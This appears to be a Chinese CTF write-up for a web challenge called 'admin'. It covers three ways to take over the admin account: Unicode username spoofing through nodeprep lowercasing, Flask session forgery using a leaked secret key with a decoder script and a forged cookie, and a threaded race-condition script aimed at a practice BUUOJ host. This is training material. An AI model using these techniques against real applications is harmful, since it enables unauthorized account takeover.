admin,雖然這道題弱密碼過了,但是為了尊重出題人,還是走一波流程
解法一:Unicode欺騙
關鍵代碼:
def strlower(username):
username = nodeprep.prepare(username)
return username
而在注冊時使用了一次strlower,修改密碼時使用了一次,
就是因為如此,是以有了Unicode欺騙,在python裡測試一下,在此網站可找對應字元(https://unicode-table.com/en/search/?q=+%09Modifier+Letter+Capital+A)
使用如下腳本:
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
def strlower(username):
username = nodeprep.prepare(username)
return username
print strlower(u'\u1d2c\u1d30\u1d39\u1d35\u1d3a')# ᴬᴰᴹᴵᴺ 的unicode編碼為:\u1d2c\u1d30\u1d39\u1d35\u1d3a
print strlower(strlower(u'\u1d2c\u1d30\u1d39\u1d35\u1d3a'))
以上腳本的結果是ᴬᴰᴹᴵᴺ —>ADMIN----->admin
是以若是我們注冊一個使用者名為ᴬᴰᴹᴵᴺ的賬戶,進行了一次strlower,轉成ADMIN,登入這個賬戶去修改密碼,修改密碼完成時使用者名為admin,此時admin的密碼就變成了我們修改的密碼;
解法二:flask session僞造
這是flask是一大缺陷,不過官方已有更新檔。
下來源碼之後知道使用的flask架構,而flask對資料加密使用的是簽名,由于flask并沒有提供加密操作,是以其session的全部内容都是可以在用戶端讀取的,有了session,還需要簽名才能進行加密,而簽名可以在config.py中找到:
解密代碼:
注意:python2和python3使用的生成機制不一樣,這道題python2生成的session不能進行加密,是以使用python3
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
使用方法:python seesion.py your_session
以下是解密結果
結果:
{'_fresh': True, '_id': b'0cdec23d95c1d1e8689f787926192c9bba09f14e0c112a72bb1486f744e4155436a00626fcdd21a2f53d53bed3ea8462c01500c6c5f59251a7412a8e42b74c33', 'csrf_token': b'99452e0fc18ede5382cd5975c2ed780d07862794', 'image': b'uHhJ', 'name': 'admim', 'user_id': '10'}
現在我們得到了session。key為ckj123,既然找到了key,那就說明僞造session這條路可通;
從github上下下來加密腳本,腳本使用方法為:python flask_session_cookie_manager2.py encode -s “ckj123” -t “僞造session”
這裡的僞造session為:
{’_fresh’: True, ‘_id’: b’0cdec23d95c1d1e8689f787926192c9bba09f14e0c112a72bb1486f744e4155436a00626fcdd21a2f53d53bed3ea8462c01500c6c5f59251a7412a8e42b74c33’, ‘csrf_token’: b’99452e0fc18ede5382cd5975c2ed780d07862794’, ‘image’: b’uHhJ’, ‘name’: ‘admin’, ‘user_id’: ‘10’}
進行加密(注意必須是雙引号)
結果:
.eJxVkMGKgzAQhl9lybkHtXop9OASVxRmgt1ISC6lm1o1agu2pZrSd99sF7rsYS7z_XzM_HeyPYzVuSGry3itFmTb7snqTt6-yIpAip0SMENQRChgUvSjZ1SGTMglozoCIyfGc8NE3koeR8oknuLvBngyS65nOWQT0jpQRnuYlh7w0kcKgcve0GSBGpyfZpPk-YAcOzetEoVVIgmRylnaeEKXlVYZFNJnPPNBJEukP_6mR5q3aDcGLKzJY0H0eTxsL6euOr5eYLzzkOc9pMqd1fQqLX2w9SyDwum0L23eK6pDSIsb2joAoyOM109dO-zq6mXal83ps_4lx93wB6TYXHYifILruRr_Nchjt398A4RucXk.XePAoQ.qvqVxpkBZoFQ6WyKadUljjQddxo
将此session替換掉原本的,就能得到flag了。
解法三:條件競争
在源碼裡可以看到:
登入和修改密碼都是先賦session,後驗證身份;
這裡我隻寫思路,因為複現不了
通過登入123使用者,得到123的session,之後用此session去登入admin,因為先指派後驗證,是以可以覆寫session,修改密碼,這時候我們修改的密碼就是admin的密碼了
而session是登入後的,是以不可能在網頁上進行兩個賬戶的同時登陸,是以我們需要兩個程序,
一個程序登入123,進行修改密碼,另一個程序在123退出時,登admin并且剛好來到修改密碼的地方;
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://8575e033-769a-4e83-ab1d-d2997f76fa88.node3.buuoj.cn/login", data=data)
def logout(s):
return s.get("http://8575e033-769a-4e83-ab1d-d2997f76fa88.node3.buuoj.cn/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://8575e033-769a-4e83-ab1d-d2997f76fa88.node3.buuoj.cn/change", data=data)
def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')
def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index" target="_blank" rel="external nofollow" >/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()